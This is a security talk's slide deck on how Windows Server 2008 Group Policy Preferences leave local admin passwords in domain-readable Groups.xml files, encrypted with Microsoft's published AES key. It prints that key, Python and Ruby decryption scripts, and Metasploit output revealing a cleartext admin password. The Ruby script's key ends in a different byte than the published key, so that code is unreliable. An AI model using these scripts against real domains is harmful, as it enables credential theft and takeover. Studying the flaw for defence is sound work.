



Server 2008 Group Policy Preferences (GPP) -And How They Get Your Domain Owned



Chris Gates
Carnal0wnage
Lares Consulting

Whoami

- Chris Gates (CG)
 - Twitter → carnal0wnage
 - Blog → carnal0wnage.attackresearch.com
 - Job → Partner/Principal Security Consultant at Lares
 - Affiliations → Attack Research, Metasploit Project
- Work
- Previous Talks
 - Attack Oracle (via web)
 - wXf Web eXploitation Framework
 - Open Source Information Gathering
 - Attacking Oracle (via TNS)
 - Client-Side Attacks



- Pretty much all of this came from the following post:
- Exploiting Windows 2008 Group Policy Preferences
 - <http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences>



What Are Group Policy Preferences

- 2008 Server gave people the ability to set even more yummy things via group policy.
 - “Group Policy preferences, new for the Windows Server 2008 operating system, include more than 20 new Group Policy extensions that expand the range of configurable settings within a Group Policy object (GPO)”
 - <http://technet.microsoft.com/en-us/library/cc731892%28WS.10%29.aspx>
- You can set all sorts of things including the local administrator password for servers and workstations 😊
- Via Local Users and Groups Extension



Example

Adresse  \\dc2008.lab\SYSTEM\dc2008.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups

Dossiers	Nom	Taille	Type	Date
<ul style="list-style-type: none">dc2008.lab<ul style="list-style-type: none">NETLOGONSYSDVOL<ul style="list-style-type: none">dc2008.lab<ul style="list-style-type: none">Policies<ul style="list-style-type: none">{6AC1786C-016F-11D2-945F-00C04FB984F9}{31B2F340-016D-11D2-945F-00C04FB984F9}	 Groups.xml	1 Ko	Document XML	26/1



Content of groups.xml

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-
544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-
D9BDE98BA1D1}" name="MyLocalUser" image="0"
changed="2011-12-26 10:21:37" uid="{A5E3F388-
299C-41D2-B937-DD5E638696FF}">
<Properties action="C" fullName=""
description=""
password="j1Uyj3Vx8TY9LtLZi12uAuZkFQA/4latT7
6ZwgdHdhw" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0"
subAuthority="" userName="MyLocalUser" />
</User>
</Groups>
```



So What

- When you use the GPO to set the password it is stored ~~“encrypted”~~ “obscured” in a GPO XML object.
- Who has to be able to see/set GPO?
 - All users
- So, if an organization uses 2008 and the sets the local admin passwords via group policy. Any domain user has access to this XML file.
- <http://blogs.technet.com/b/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx>



So What #2

- But its encrypted...obscured...whatever
- Yes, with AES. And MS published the key...

The screenshot shows a web browser window displaying an MSDN article. The address bar shows the URL: `msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be(prot.20).aspx#endNote2`. The browser's address bar also shows several search engines: NoVAHackers, Google, and Open Security Research. The page's navigation bar includes links for Home, Library, Learn, Downloads, Support, and Community. A search bar on the left contains the text "Search MSDN with Bing". The left sidebar shows a tree view of the article's structure, with "2.2.1.1.4 Password Encryption" highlighted in red. The main content area features the title "2.2.1.1.4 Password Encryption" in blue, followed by a rating of "6 out of 8 rated this helpful - Rate this topic". The text states: "All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<2>". Below this, it says "The 32-byte AES key is as follows:" and displays the key in hexadecimal: `4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b`. At the bottom of the article, there is a feedback form with the question "Did you find this helpful?" and two radio buttons labeled "Yes" and "No".



Party Time

- Give that we have the AES key.
- You can decrypt any password from the XML document

Decrypting the password

We now have both the encrypted password and the decryption key. Using [PyCrypto](#), we can implement the decryption algorithm very quickly:

```
from Crypto.Cipher import AES
from base64 import b64decode

key = ""
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
"".replace(" ", "").replace("\n", "").decode('hex')

cpassword = b64decode("j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw=")

o = AES.new(key, 2).decrypt(cpassword)

print [i for i in o]
```



Party Time

- Someone made a metasploit module too
(post/windows/gather/credentials/gpp)

```
msf exploit(psexec) > use post/windows/gather/credentials/gpp
msf post(gpp) > set SESSION 1
SESSION => 1
msf post(gpp) > exploit -j
[*] Post module running as background job

[*] Checking locally...
msf post(gpp) > [-] Error accessing C:\WINNT\SYSTEM\sysvol :
stdapi_fs_ls: Operation failed: The system cannot find the path
specified.
[*] Enumerating Domains on the Network...
[*] 1 Domain(s) found.
[*] Retrieved Domain(s) DOMAIN from network
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) CIS, DEV, DOMAIN, from registry
[*] Retrieved DC COMPANYINTERNAL.COM from registry
[*] Enumerating DCs for DOMAIN on the network...
[*] Enumerating DCs for CIS on the network...
[-] No Domain Controllers found for CIS
[*] Enumerating DCs for DEV on the network...
```



Party Time

- Someone made a metasploit module too

[*] Searching for Policy Share on INTERNALDC...

[+] Found Policy Share on INTERNALDC

[*] Searching for Group Policy XML Files...

[*] Parsing file: \\INTERNALDC\SYSVOL\COMPANY\Policies\{4D545393-0DE8-4CDF-985D-0C932F3B7565}\MACHINE\Preferences\Groups\Groups.xml ...

[+] Group Policy Credential Info

Name	Value
----	-----
TYPE	Groups.xml
USERNAME	LOCALadmin
PASSWORD	A3\$r0ck\$!
DOMAIN CONTROLLER	INTERNALDC
DOMAIN	COMPANY.COM
CHANGED	2011-06-22 05:38:50
NEVER_EXPIRES?	1
DISABLED	0



Standalone ruby script

- So if I didn't mention it yet, module is slow.
- Had a test where it was downloading the xml but pooping before it spit out the cleartext.
- Wrote quick ruby script to decode.

```
3 require 'rubygems'
4 require 'openssl'
5 require 'base64'
6
7
8 encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
9
10 def decrypt(encrypted_data)
11   padding = "=" * (4 - (encrypted_data.length % 4))
12   epassword = "#{encrypted_data}#{padding}"
13   decoded = Base64.decode64(epassword)
14
15   key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x11"
16   aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
17   aes.decrypt
18   aes.key = key
19   plaintext = aes.update(decoded)
20   plaintext << aes.final
21   pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
22
23   return pass
24 end
25
26 blah = decrypt(encrypted_data)
27 puts blah
```



output

```
F:\Lares>gpp-decrypt-string.rb  
Local*P4ssword!
```



Questions?



Chris Gates



@carnal0wnage